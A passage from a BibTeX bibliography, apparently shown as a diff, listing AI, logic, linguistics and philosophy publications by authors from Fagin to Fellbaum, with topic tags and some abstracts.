Fagin and Joseph Y. Halpern and Moshe Y. Vardi}, + title = {A Nonstandard Approach to the Logical Omniscience Problem}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {79}, + number = {2}, + pages = {203--240}, + contentnote = {Uses a relevance-like logic to address problem of logical + omniscience. Has completeness proof.}, + topic = {propositional-attitudes;epistemic-logic;relevance-logic; + hyperintensionality;} + } + +@book{ fagin-etal:1995b, + author = {Ronald Fagin and Joseph Y. Halpern and Yoram Moses and + Moshe Y. Vardi}, + title = {Reasoning about Knowledge}, + publisher = {The {MIT} Press}, + year = {1995}, + address = {Cambridge, Massachusetts}, + xref = {Reviews: goranko:1999a,thomason_rh:1999d.}, + topic = {epistemic-logic;distributed-systems;communication-protocols; + game-theory;} + } + +@incollection{ fagin-etal:1996a, + author = {Ronald Fagin and Joseph Y. Halpern and Yoram Moses + and Moshe Y. Vardi}, + title = {Common Knowledge Revisited}, + booktitle = {Theoretical Aspects of Rationality and Knowledge: + Proceedings of the Sixth Conference ({TARK} 1996)}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Yoav Shoham}, + pages = {283--258}, + address = {San Francisco}, + topic = {mutual-belief;rational-action;} + } + +@article{ fagiuoli-zaffalon:1998a, + author = {Enrico Fagiuoli and Marco Zaffalon}, + title = {{2U}: An Exact Interval Propagation Algorithm + for Polytrees with Binary Variables}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {106}, + number = {1}, + pages = {77--107}, + topic = {bayesian-networks;} + } + +@article{ fahlman:1974a, + author = {Scott E. Fahlman}, + title = {A Planning System for Robot Construction Tasks}, + journal = {Artificial Intelligence}, + volume = {5}, + number = {1}, + pages = {1--49}, + year = {1974}, + topic = {planning;robotics;} + } + +@book{ fahlman:1979a, + author = {Scott E. Fahlman}, + title = {{\sc netl:} A System for Representing and Using Real-World + Knowledge.}, + publisher = {The {MIT} Press}, + year = {1979}, + address = {Cambridge, Massachusetts}, + xref = {Review: shapiro:1980a}, + topic = {inheritance-theory;parallel-processing;} + } + +@inproceedings{ fahlman-etal:1981a, + author = {Scott E. Fahlman and David Touretzky and W. van Roggen}, + title = {Cancellation in a Parallel Semantic Network}, + booktitle = {Proceedings of the Seventh International Joint + Conference on Artificial Intelligence}, + year = {1981}, + editor = {Patrick J. Hayes}, + pages = {257--263}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + missinginfo = {A's 1st name}, + topic = {inheritance-theory;parallel-processing;} + } + +@incollection{ fairtlough-wainer:1998a, + author = {Matt Fairtlough and Stanley S. Wainer}, + title = {Hierarchies of Provably Recursive Functions}, + booktitle = {Handbook of Proof Theory}, + publisher = {Elsevier Science Publishers}, + year = {1998}, + editor = {Samuel R. Buss}, + pages = {149--207}, + address = {Amsterdam}, + xref = {Review: arai:1998d.}, + topic = {proof-theory;recursion-theory;} + } + +@incollection{ fales:1984a, + author = {Ewan Fales}, + title = {Causation and Induction}, + booktitle = {Causation and Causal Theories}, + publisher = {University of Minnesota Press}, + year = {1984}, + editor = {Peter A. French and Theodore E. Uehling, Jr. and Howard + K. Wettstein}, + pages = {113--134}, + address = {Minneapolis}, + topic = {causality;induction;} + } + +@article{ falk:1972a, + author = {Gilbert Falk}, + title = {Interpretation of Imperfect Line Data as a + Three-Dimensional Scene}, + journal = {Artificial Intelligence}, + year = {1972}, + volume = {3}, + number = {1--3}, + pages = {101--144}, + topic = {three-D-reconstruction;} + } + +@article{ falkenhainer-etal:1989a, + author = {Brian Falkenhainer and Kenneth D. Forbus and Dedre Gentner}, + title = {The Structure-Mapping Engine: Algorithm and Examples}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {41}, + number = {1}, + pages = {1--63}, + acontentnote = {Abstract: + This paper describes the structure-mapping engine (SME), a + program for studying analogical processing. SME has been built + to explore Gentner's structure-mapping theory of analogy, and + provides a ``tool kit'' for constructing matching algorithms + consistent with this theory. Its flexibility enhances cognitive + simulation studies by simplifying experimentation. Furthermore, + SME is very efficient, making it a useful component in machine + learning systems as well. We review the structure-mapping theory + and describe the design of the engine. We analyze the complexity + of the algorithm, and demonstrate that most of the steps are + polynomial, typically bounded by O(N2). Next we demonstrate + some examples of its operation taken from our cognitive + simulation studies and work in machine learning. Finally, we + compare SME to other analogy programs and discuss several areas + for future work.}, + topic = {analogy;AI-algorithms-analysis;analogical-reasoning;} + } + +@article{ falkenhainer-forbus:1991a, + author = {Brian Falkenhainer and Kenneth D. Forbus}, + title = {Compositional Modeling: Finding the Right Model for the + Job}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {51}, + number = {1--3}, + pages = {95--143}, + acontentnote = {Abstract: + To represent an engineer's knowledge will require domain + theories that are orders of magnitude larger than today's + theories, describe phenomena at several levels of granularity, + and incorporate multiple perspectives. To build and use such + theories effectively requires strategies for organizing domain + models and techniques for determining which subset of knowledge + to apply for a given task. This paper describes compositional + modeling, a technique that addresses these issues. Compositional + modeling uses explicit modeling assumptions to decompose domain + knowledge into semi-independent model fragments, each describing + various aspects of objects and physical processes. We describe + an implemented algorithm for model composition. That is, given a + general domain theory, a structural description of a specific + system, and a query about the system's behavior, the algorithm + composes a model which suffices to answer the query while + minimizing extraneous detail. We illustrate the utility of + compositional modeling by outlining the organization of a + large-scale, multi-grain, multi-perspective model we have built + for engineering thermodynamics, and showing how the model + composition algorithm can be used to automatically select the + appropriate knowledge to answer questions in a tutorial setting. } , + topic = {thermodynamics;domain-modeling; + modular-domain-representations;} + } + +@book{ fallside-woods_wa:1985a, + editor = {Frank Fallside and William A. Woods}, + title = {Computer Speech Processing}, + publisher = {Prentice Hall}, + year = {1985}, + address = {Englewood Cliffs, New Jersey}, + topic = {speech-processing;} + } + +@article{ faltings:1992a, + author = {Boi Faltings}, + title = {A Symbolic Approach to Qualitative Kinematics}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {56}, + number = {2--3}, + pages = {139--170}, + acontentnote = {Abstract: + An important problem for mechanism design and analysis is + reasoning about the relationship between object shapes and their + kinematic function. Such reasoning is difficult because of the + unstructured influence of the shapes' metric dimensions. In this + paper, we show how a qualitative kinematic analysis can be based + solely on symbolic reasoning and evaluation of predicates on + metric dimensions. This allows symbolic reasoning about + kinematics without explicit numerical representations of object + dimensions, and automatic generation of operators relating + kinematic goals to shape modifications which may achieve them.}, + topic = {device-modeling;qualitative-physics;} + } + +@book{ faltings-struss:1992a, + editor = {Boi Faltings and Peter Struss}, + title = {Recent Advances in Qualitative Physics}, + publisher = {The {MIT} Press}, + year = {1992}, + address = {Cambridge, Massachusetts}, + ISBN = {0262061422}, + topic = {qualitative-physics;} + } + +@article{ faltings:1994a, + author = {Boi Faltings}, + title = {Arc-Consistency for Continuous Variables}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {65}, + number = {2}, + pages = {363--376}, + acontentnote = {Abstract: + Davis [1] has investigated the properties of the Waltz + propagation algorithm with interval labels in continuous + domains. He shows that in most cases the algorithm does not + achieve arc-consistency and furthermore is subject to infinite + iterations. In this paper, I show that the main reason for + Davis' negative results lies in the way he formulates the + propagation rule for the Waltz algorithm. For binary + constraints, I propose a different propagation rule and show + that it guarantees arc-consistency upon quiescence of the + propagation. Generalizations to n-ary constraints are possible + but involve more complex geometry. Arc-consistency guarantees a + minimal network only when the constraint graph is a tree. I show + that the new formulation of the propagation algorithm rules out + the possibility of infinite iterations for all tree-structured + constraint networks, and thus obtain a general and reliable + algorithm for arc-consistency in continuous domains.}, + topic = {arc-consistency;reasoning-about-continuous-quantities;} + } + +@incollection{ faltz:1985a, + author = {Leonard M. Faltz}, + title = {Towards a Typology of Natural Logic}, + booktitle = {Quantification in Natural Languages, Vol. 1}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {Emmon Bach and Eloise Jelinek and Angelika Kratzer and + Barbara Partee}, + pages = {271--319}, + address = {Dordrecht}, + contentnote = {Explores issue of whether a different logic might + be appropriate for semantic representation of different languages.}, + topic = {nl-semantics;nl-quantifiers;foundations-of-semantics;} + } + +@book{ fann:1969a, + editor = {Kuang T. Fann}, + title = {Symposium on J.L. Austin}, + publisher = {Routledge and Kegan Paul}, + year = {1969}, + address = {London}, + missinginfo = {E's 1st name}, + topic = {JL-Austin;ordinary-language-philosophy;} + } + +@book{ fann:1970a, + author = {Kuang T. Fann}, + title = {Peirce's Theory of Abduction}, + publisher = {Martinus Nijhoff}, + year = {1970}, + address = {The Hague}, + topic = {Peirce;abduction;} + } + +@inproceedings{ fargier-etal:2000a, + author = {H\'el\`ene Fargier and J\'er\^ome Lang and Pierre Marquis}, + title = {Propositional Logic and One-Stage Decision Making}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {445--456}, + topic = {qualitative-utility;implementations-of-decision-theory;} + } + +@incollection{ farinasdelcerro-herzig:1991a, + author = {Luis Fari\~nas del Cerro and Andreas Herzig}, + title = {A Modal Analysis of Possibility Theory}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {58--62}, + address = {Berlin}, + topic = {possibility-logic;modal-logic;qualitative-probability;} + } + +@incollection{ farinasdelcerro-herzig:1996a, + author = {Luis Fari\~nas del Cerro and Andreas Herzig}, + title = {Belief Change and Dependence}, + booktitle = {Theoretical Aspects of Rationality and Knowledge: + Proceedings of the Sixth Conference ({TARK} 1996)}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Yoav Shoham}, + pages = {147--161}, + address = {San Francisco}, + topic = {belief-revision;} + } + +@inproceedings{ farkas:1981a, + author = {Donka Farkas}, + title = {Quantifier Scope and Syntactic Islands}, + booktitle = {Proceedings of the Seventeenth Regional Meeting of the + Chicago Linguistics Society}, + year = {1981}, + pages = {59--66}, + publisher = {Chicago Linguistics Society}, + address = {Chicago University, Chicago, Illinois}, + missinginfo = {editor}, + topic = {nl-quantifier-scope;} + } + +@article{ farkas-sugioka:1983a, + author = {Donka F. Farkas and Yoko Sugioka}, + title = {Restrictive If/When Clauses}, + journal = {Linguistics and Philosophy}, + year = {1983}, + volume = {6}, + number = {2}, + pages = {225--258}, + contentnote = {They treat Gen as an adverb of quantifcation, basically, + a vague binary quantifier. But they treat Bare Plurals as + kind-denoting. --Delia Graff.}, + topic = {nl-semantics;conditionals;sentence-focus;pragmatics;} + } + +@article{ farkas:1988b, + author = {Donka F. Farkas}, + title = {On Obligatory Control}, + journal = {Linguistics and Philosophy}, + year = {1988}, + volume = {11}, + number = {1}, + pages = {27--58}, + topic = {syntactic-control;} + } + +@incollection{ farkas:1997a, + author = {Donka F. Farkas}, + title = {Evaluation Indices and Scope}, + booktitle = {Ways of Scope Taking}, + publisher = {Kluwer Academic Publishers}, + year = {1997}, + editor = {Anna Szabolcsi}, + pages = {183--215}, + address = {Dordrecht}, + topic = {nl-quantifier-scope;nl-quantifiers;} + } + +@article{ farmer-guttman:2000a, + author = {William M. Farmer and Joshua D. Guttman}, + title = {A Set Theory with Support for Partial Functions}, + journal = {Studia Logica}, + year = {2000}, + volume = {66}, + number = {1}, + pages = {59--58}, + topic = {set-theory;partial-logic;} + } + +@article{ farrell_dm:1993a, + author = {Daniel M. Farrell}, + title = {Utility-Maximizing Intentions and the Theory of Rational + Choice}, + journal = {Philosophical Topics}, + year = {1994}, + volume = {21}, + number = {1}, + pages = {53--78}, + topic = {foundations-of-utility;causal-decision-theory;toxin-puzzle;} + } + +@inproceedings{ farrell_p:1993a, + author = {Patrick Farrell}, + title = {The Interplay of Syntax and Semantics in Complement Control}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {III}}, + year = {1993}, + editor = {Utpal Lahiri and Zachary Wyner}, + pages = {57--76}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {complementation;syntactic-control;} + } + +@incollection{ farrell_tb:1983a, + author = {Thomas B. Farrell}, + title = {Aspects of Coherence in Conversation and Rhetoric}, + booktitle = {Conversational Coherence: Form, Structure and Strategy}, + publisher = {Sage Publications}, + year = {1983}, + editor = {Robert T. Craig and Karen Tracey}, + pages = {259--284}, + address = {London}, + topic = {discourse-coherence;discourse-analysis;pragmatics;} + } + +@incollection{ farreres-etal:1998a, + author = {Xavier Farreres and German Rigau and Horacio + Rodr\'iguez}, + title = {Using {W}ord{N}et for Building {W}ord{N}ets}, + booktitle = {Use of {W}ord{N}et in Natural Language Processing + Systems: Proceedings of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Sanda Harabagiu}, + pages = {65--72}, + address = {Somerset, New Jersey}, + topic = {nl-processing;WordNet;} + } + +@inproceedings{ fasciano:1995a, + author = {Mark Fasciano}, + title = {Building an Agent with Multiple Rationalities}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Rational Agency: Concepts, Theories, Models, and Applications}, + year = {1995}, + editor = {Michael Fehling}, + pages = {56--60}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {agent-architectures;qualitative-utility;planning;} + } + +@inproceedings{ fasli:1999a, + author = {Maria Fasli}, + title = {Modeling Reasoning Agents}, + booktitle = {Proceedings of the {IJCAI}-99 Workshop on + Practical Reasoning and Rationality}, + year = {1999}, + editor = {John Bell}, + pages = {8--15}, + organization = {IJCAI}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Murray Hill, New Jersey}, + topic = {agent-modeling;agent-architectures;agent-attitudes;} + } + +@book{ fasold:1990a, + author = {Ralph Fasold}, + title = {The Sociolinguistics of Language}, + publisher = {Oxford University Press}, + year = {1990}, + address = {Oxford}, + ISBN = {0631133860, 0631138250 (pbk.)}, + topic = {sociolinguistics;} + } + +@book{ fass:1997a, + author = {Dan Fass}, + title = {Processing Metonymy and Metaphor}, + publisher = {Ablex Publishing}, + year = {1997}, + address = {Greenwich, Connecticut}, + missinginfo = {A's 1st name.}, + xref = {Review: ferrari:1999a.}, + topic = {discourse;psycholinguistics;metaphor;metonymy;} + } + +@inproceedings{ fatah-peot:2000a, + author = {Yousri El Fatah and Mark Alan Peot}, + title = {A Compositional Structured Query Approach to Automated + Inference}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {213--224}, + topic = {reasoning-about-uncertainty;} + } + +@article{ fauconnier:1975a, + author = {Gilles Fauconnier}, + title = {Pragmatic Scales and Logical Structure}, + journal = {Linguistic Inquiry}, + year = {1975}, + volume = {6}, + number = {3}, + pages = {353--375}, + topic = {nl-semantics;polarity;pragmatic-scales;} + } + +@incollection{ fauconnier:1978a, + author = {Gilles Fauconnier}, + title = {Implication Reversal in a Natural Language}, + booktitle = {Formal Semantics and Pragmatics for Natural Languages}, + publisher = {D. Reidel Publishing Co.}, + year = {1978}, + editor = {Franz Guenthner and S.J. Schmidt}, + pages = {289--301}, + address = {Dordrecht}, + topic = {nl-semantics;polarity;pragmatic-scales;} + } + +@article{ fauconnier:1978b, + author = {Giles Fauconnier}, + title = {Is There a Linguistic Level of Logical Representation}, + journal = {Theoretical Linguistics}, + year = {1978}, + volume = {8}, + number = {1}, + pages = {31--49}, + topic = {nl-semantics;foundations-of-semantics;} + } + +@article{ fauconnier:1985a, + author = {Giles Fauconnier}, + title = {Do Quantifiers Branch?}, + journal = {Linguistic Inquiry}, + year = {1975}, + volume = {6}, + number = {4}, + pages = {555--578}, + topic = {nl-quantifiers;} + } + +@book{ fauconnier:1985b, + author = {Giles Fauconnier}, + title = {Mental Spaces}, + publisher = {The {MIT} Press}, + year = {1985}, + address = {Cambridge, Massachusetts}, + xref = {Review: cormack:1987a.}, + topic = {nl-semantics;foundations-of-semantics;intensionality;anaphora;} + } + +@book{ fauconnier-sweetser:1996a, + editor = {Giles Fauconnier and Eve Sweetser}, + title = {Spaces, Worlds and Grammar}, + publisher = {University of Chicago Press}, + year = {1996}, + address = {Chicago, Illinois}, + topic = {nl-semantics;foundations-of-semantics;pragmatics;} + } + +@book{ fauconnier:1997a, + author = {Giles Fauconnier}, + title = {Mappings in Thought and Language}, + publisher = {Cambridge University Press}, + year = {1997}, + address = {Cambridge, England}, + topic = {metaphor;pragmatics;common-sense-reasoning;} + } + +@book{ faulkner:1998a, + author = {Christine Faulkner}, + title = {The Essence of Human-Computer Interaction}, + publisher = {Prentice Hall}, + year = {1998}, + address = {London}, + ISBN = {0137519753}, + topic = {HCI;} + } + +@incollection{ fayard-henderson:2001a, + author = {Anne-Laure Fayard and Austin Henderson}, + title = {Looking at `Situated' Technology: Differences in Pattern + of Interaction Reflect Differences in Context}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {441-444}, + address = {Berlin}, + topic = {context;psychology-of-technology;} + } + +@article{ fayyad-etal:1996a, + author = {Usama Fayyad and Gregory Piatetsky-Shapiro and Padhraic + Smyth}, + title = {From Data Mining to Knowledge Discovery in Databases}, + journal = {{AI} Magazine}, + year = {1996}, + volume = {17}, + number = {3}, + pages = {37--54}, + topic = {knowledge-retrieval;krcourse;} + } + +@incollection{ federici-etal:1997a, + author = {Stefano Federici and Simonetta Montemagni and Vito + Pirelli}, + title = {Inferring Semantic Similarity from + Distributional Evidence: An Analogy-Based Approach to + Word Sense Disambiguation}, + booktitle = {Automatic Information Extraction and Building of + Lexical Semantic Resources for {NLP} Applications}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Piek Vossen and Geert Adriaens and Nicoletta Calzolari + and Antonio Sanfilippo and Yorick Wilks}, + pages = {90--97}, + address = {New Brunswick, New Jersey}, + topic = {lexical-disambiguation;statistical-nlp;} + } + +@incollection{ federico-demori:1998a, + author = {Marcello Federico and Renato de Mori}, + title = {Language Modeling}, + booktitle = {Spoken Dialogues with Computers}, + publisher = {Academic Press}, + year = {1998}, + editor = {Renato de Mori}, + pages = {199--230}, + address = {New York}, + topic = {speech-recognition;n-gram-models;} + } + +@article{ feferman:1959a, + author = {Solomon Feferman}, + title = {Nonrecursiveness of Sentences Closed Under Direct Product}, + journal = {Notices of the {A}merican {M}athematical {S}ociety}, + year = {1959}, + volume = {6}, + pages = {619}, + missinginfo = {number}, + topic = {model-theory;decidability;} + } + +@article{ feferman-hellman:1975a, + author = {Solomon Feferman and Geoffrey Hellman}, + title = {Predicative Foundations of Arithmetic}, + journal = {Journal of Philosophical Logic}, + year = {1975}, + volume = {24}, + number = {1}, + pages = {1--17}, + topic = {predicativity;foundations-of-mathematics;} + } + +@article{ feferman:1984a, + author = {Solomon Feferman}, + title = {Toward Useful Type-Free Theories, {I}}, + journal = {Journal of Symbolic Logic}, + year = {1984}, + volume = {49}, + number = {}, + pages = {75--111}, + topic = {semantic-paradoxes;Russell-paradox;lambda-calculus; + type-free-theories;} + } + +@article{ feferman:1985a, + author = {Solomon Feferman}, + title = {Intensionality in Mathematics}, + journal = {Journal of Philosophical Logic}, + year = {1985}, + volume = {14}, + number = {1}, + pages = {41--55}, + topic = {foundations-of-mathematics;intensionality; + constructive-mathematics;} + } + +@incollection{ feferman:1988a, + author = {Solomon Feferman}, + title = {Turing in the Land of {O}(z)}, + booktitle = {The Universal {T}uring Machine: A Half-Century + Survey}, + publisher = {Oxford University Press}, + year = {1988}, + editor = {Rolf Herkin}, + pages = {113--147}, + address = {Oxford}, + topic = {Turing;ordinal-logics;} + } + +@incollection{ feferman:1991a, + author = {Solomon Feferman}, + title = {Proofs of Termination and the `91' Function}, + booktitle = {Artificial Intelligence and Mathematical Theory of + Computation}, + publisher = {Academic Press}, + year = {1991}, + editor = {Vladimir Lifschitz}, + pages = {47--63}, + address = {San Diego}, + topic = {algorithms;program-verification;} + } + +@incollection{ feferman:1994a, + author = {Solomon Feferman}, + title = {Finitary Inductively Presented Logics}, + booktitle = {What is a Logical System?}, + publisher = {Oxford University Press}, + year = {1994}, + editor = {Dov Gabbay}, + pages = {297--328}, + address = {Oxford}, + topic = {finitary-logics;recursion-theory;} + } + +@article{ feferman-hellman:1996a, + author = {Solomon Feferman and Geoffrey Hellman}, + title = {Predicative Foundations of Arithmetic}, + journal = {Journal of Philosophical Logic}, + year = {1996}, + volume = {24}, + number = {1}, + pages = {1--17}, + topic = {foundations-of-mathematics;formalized-arithmetic;} + } + +@article{ feferman:1997a, + author = {Solomon Feferman}, + title = {Penrose's {G}\"odelian Argument}, + journal = {Psyche}, + year = {1997}, + volume = {2}, + note = {Electronic journal: http://psyche.cs.monash.edu.au.}, + topic = {foundations-of-cognition;goedels-first-theorem; + foundations-of-computation;goedels-second-theorem;} + } + +@book{ feferman:1998a, + author = {Solomon Feferman}, + title = {In the Light of Logiic}, + publisher = {Oxford University Press}, + year = {1998}, + address = {Oxford}, + xref = {Reviews: avigad:1999a.}, + topic = {philosophy-of-mathematics;proof-theory;} + } + +@article{ feferman-etal:2000a, + author = {Solomon Feferman and Harvey M. Friedman and Penelope + Maddy and John R. Steel}, + title = {Does Mathematics Need New Axioms?}, + journal = {The Bulletin of Symbolic Logic}, + year = {2000}, + volume = {6}, + number = {4}, + pages = {401--446}, + topic = {foundations-of-mathematics;foundations-of-set-theory; + continuum-hypothesis;} + } + +@incollection{ fehige:1994a, + author = {Christoph Fehige}, + title = {The Limit Assumption in Deontic (and Prohairetic) Logic}, + booktitle = {Analyomen 1}, + publisher = {Walter de Gruyter}, + year = {1994}, + editor = {Georg Meggle and Ulla Wessels}, + pages = {42--56}, + address = {Berlin}, + topic = {deontic-logic;} + } + +@article{ fehling:1993a, + author = {Michael R. Fehling}, + title = {Unified Theories of Cognition: Modeling Cognitive + Competence}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {295--328}, + xref = {Review of newell:1992a.}, + topic = {SOAR;cognitive-architectures;} + } + +@incollection{ fehrer:1998a, + author = {D. Fehrer}, + title = {Developing Deductive Systems: The] + Toolbox Style}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {II}, Systems and Implementation Techniques}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;} + } + +@book{ feigenbaum-mccorduck:1983a, + author = {Edward A. Feigenbaum and Pamela McCorduck}, + title = {The Fifth Generation: Artificial Intelligence and {J}apan's + Computer Challenge to the World}, + publisher = {Addison-Wesley}, + year = {1983}, + address = {Reading, Massachusetts}, + ISBN = {0201115190}, + xref = {Review: stefik:1984a, dekleer:1984a}, + topic = {popular-cs;cs-journalism;} + } + +@article{ feigenbaum-buchanan_bg:1993a, + author = {Edward A. Feigenbaum and Bruce G. Buchanan}, + title = {{DENDRAL} and {Meta-DENDRAL:} Roots of Knowledge + Systems and Expert Systems Applications}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {233--240}, + topic = {expert-systems;knowledge-engineering;} + } + +@book{ feigl-scriven:1956a, + editor = {Herbert Feigl and Michael Scriven}, + title = {The Foundations of Science and the Concepts of + Psychology and Psychoanalysis: {M}innesota Studies in + the Philosophy of Science, Volume {I}}, + publisher = {University of Minnesota Press}, + address = {Minneapolis}, + year = {1962}, + topic = {philosophy-of-science;philosophy-of-mind; + philosophy-of-psychology;} + } + +@book{ feigl-etal:1958a, + editor = {Herbert Feigl and Michael Scriven and Grover Maxwell}, + title = {Concepts, Theories, and the Mind-Body Problem: + {M}innesota Studies in the Philosophy of Science, Volume + {II}}, + publisher = {University of Minnesota Press}, + address = {Minneapolis}, + year = {1958}, + topic = {philosophy-of-science;} + } + +@book{ feigl-maxwell:1962a, + editor = {Herbert Feigl and Grover Maxwell}, + title = {Scientific Explanation, Space, and Time: {M}innesota + Studies in the Philosophy of Science, Volume {III}}, + publisher = {University of Minnesota Press}, + address = {Minneapolis}, + year = {1962}, + topic = {philosophy-of-science;explanation;philosophy-of-physics;} + } + +@book{ feigl-etal:1972a, + editor = {Herbert Feigl and Wilfrid Sellars and Keith Lehrer}, + title = {New Readings in Philosophical Analysis}, + publisher = {Appleton-Century-Crofts}, + year = {1972}, + address = {New York}, + topic = {analytic-philosophy;} + } + +@article{ feinberg:1968a, + author = {Joel Feinberg}, + title = {Collective Responsibility}, + journal = {Journal of Philosophy}, + volume = {65}, + year = {1968}, + pages = {674--688}, + topic = {ethics;blameworthiness;} + } + +@book{ feiwel:1985a, + editor = {George R. Feiwel}, + title = {Issues in Contemporary Microeconomics and Welfare}, + publisher = {Macmillan}, + year = {1985}, + address = {London}, + ISBN = {0333354826}, + topic = {foundations-of-economics;welfare-economics;} + } + +@book{ feiwel:1987a, + editor = {George R. Feiwel}, + title = {Arrow and the Foundations of the Theory of Economic Policy}, + publisher = {New York University Press}, + year = {1987}, + address = {New York}, + ISBN = {081472583X}, + topic = {foundations-of-economics;welfare-economics;} + } + +@book{ feldman_a:1980a, + author = {Allan M. Feldman}, + title = {Welfare Economics and Social Choice Theory}, + publisher = {Kluwer Academic Publishers}, + year = {1980}, + address = {Dordrecht}, + topic = {social-choice;} + } + +@unpublished{ feldman_f:1979a, + author = {Fred Feldman}, + title = {Iffy Oughts}, + year = {1979}, + note = {Unpublished manuscript.}, + topic = {deontic-logic;conditional-obligation;} + } + +@article{ feldman_f:1980a, + author = {Fred Feldman}, + title = {The Principle of Moral Harmony}, + journal = {Journal of Philosophy}, + volume = {77}, + year = {1980}, + pages = {166--179}, + topic = {ethics;} + } + +@book{ feldman_f:1986a, + author = {Fred Feldman}, + title = {Doing the Best We Can: An Essay in Informal + Deontic Logic}, + publisher = {D. Reidel Publishing Company}, + address = {Dordrecht}, + year = {1986}, + ISBN = {9027721645}, + topic = {deontic-logic;ethics;} + } + +@incollection{ feldman_f:1990a, + author = {Fred Feldman}, + title = {A Simpler Solution to the Paradoxes of Deontic Logic}, + booktitle = {Philosophical Perspectives 4: Action Theory and + Philosophy of Mind}, + publisher = {Ridgeview Publishing Company}, + year = {1989}, + editor = {James E. Tomberlin}, + address = {Atasacadero, California}, + missinginfo = {pages}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {deontic-logic;} + } + +@article{ feldman_ja-yakimovsky:1974a, + author = {Jerome A. Feldman and Yoram Yakimovsky}, + title = {Decision Theory and Artificial Intelligence: {I}. A + Semantics-Based Region Analyzer}, + journal = {Artificial Intelligence}, + year = {1974}, + volume = {5}, + number = {4}, + pages = {349--371}, + acontentnote = {Abstract: + Mathematical decision theory can be combined with heuristic + techniques to attack Artificial Intelligence problems. As a + first example, the problem of breaking an image into meaningful + regions is considered. Bayesian decision theory is seen to + provide a mechanism for including problem dependent (semantic) + information in a general system. Some results are presented + which make the computation feasible. A programming system based + on these ideas and its application to road scenes is described. } , + topic = {decision-theory;problem-solving-architectures;} + } + +@incollection{ feldman_ja:1991a, + author = {Jerome A. Feldman}, + title = {Robots with Common Sense?}, + booktitle = {Artificial Intelligence and Mathematical Theory of + Computation}, + publisher = {Academic Press}, + year = {1991}, + editor = {Vladimir Lifschitz}, + pages = {65--72}, + address = {San Diego}, + topic = {AI-editorial;robotics;} + } + +@book{ feldman_l:1997a, + editor = {Laurie Beth Feldman}, + title = {Morphological Aspects of Language Processing}, + publisher = {Lawrence Erlbaum Associates}, + year = {1997}, + address = {Mahwah, New Jersey}, + topic = {psycholinguistics;morphology;parsing-psychology;} + } + +@article{ feldman_r:1995a, + author = {R. Feldman}, + title = {In Defence of Closure}, + journal = {Philosophical Quarterly}, + year = {1995}, + volume = {45}, + pages = {487--494}, + missinginfo = {A's 1st name, number}, + topic = {hyperintensionality;propositional-attitudes;} + } + +@article{ feldman_rh-wierenga:1979a, + author = {Richard H. Feldman and Edward Wierenga}, + title = {Thalberg on the Irreducibility of Events}, + journal = {Analysis}, + year = {1978}, + volume = {38}, + number = {1}, + pages = {12--16}, + xref = {Comment on thalberg:1978a.}, + topic = {events;} + } + +@article{ feldman_ya-friedman_da:1999a, + author = {Yishai A. Feldman and Doron A. Friedman}, + title = {Portability by Automatic Translation: A + Large-Scale Case Study}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {107}, + number = {1}, + pages = {1--28}, + topic = {software-engineering;abstraction;} + } + +@book{ fellbaum:1998a, + editor = {Christaine Fellbaum}, + title = {Word{N}et: An Electronic Lexical Database}, + publisher = {The {MIT} Press}, + year = {1989}, + address = {Cambridge, Massachusetts}, + xref = {Review: lin_dk:1999a.}, + topic = {wordnet;clcourse;} + } + +@software{ fellbaum:1998b, + editor = {Christiane Fellbaum}, + title = {Word{N}et 1.6 CD-Rom}, + publisher = {The {MIT} Press}, + year = {1998}, + version = {1.6}, + address = {Cambridge, Massachusetts}, + media = {CD-Rom}, + platform = {Windows 3.1, Windows 95, Windows NT, Power Mac, + MacIntosh 68K.}, + topic = {wordnet;multilingual-lexicons;} + } + +@incollection{ fellbaum:1998c, + author = {Christiane Fellbaum}, + title = {Towards a Representation of Idioms in {W}ord{N}et}, + booktitle = {Use of {W}ord{N}et in Natural Language Processing + Systems: Proceedings of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Sanda Harabagiu}, + pages = {52--57}, + address = {Somerset, New Jersey}, + topic = {nl-processing;WordNet;idioms;} + } + +@incollection{ 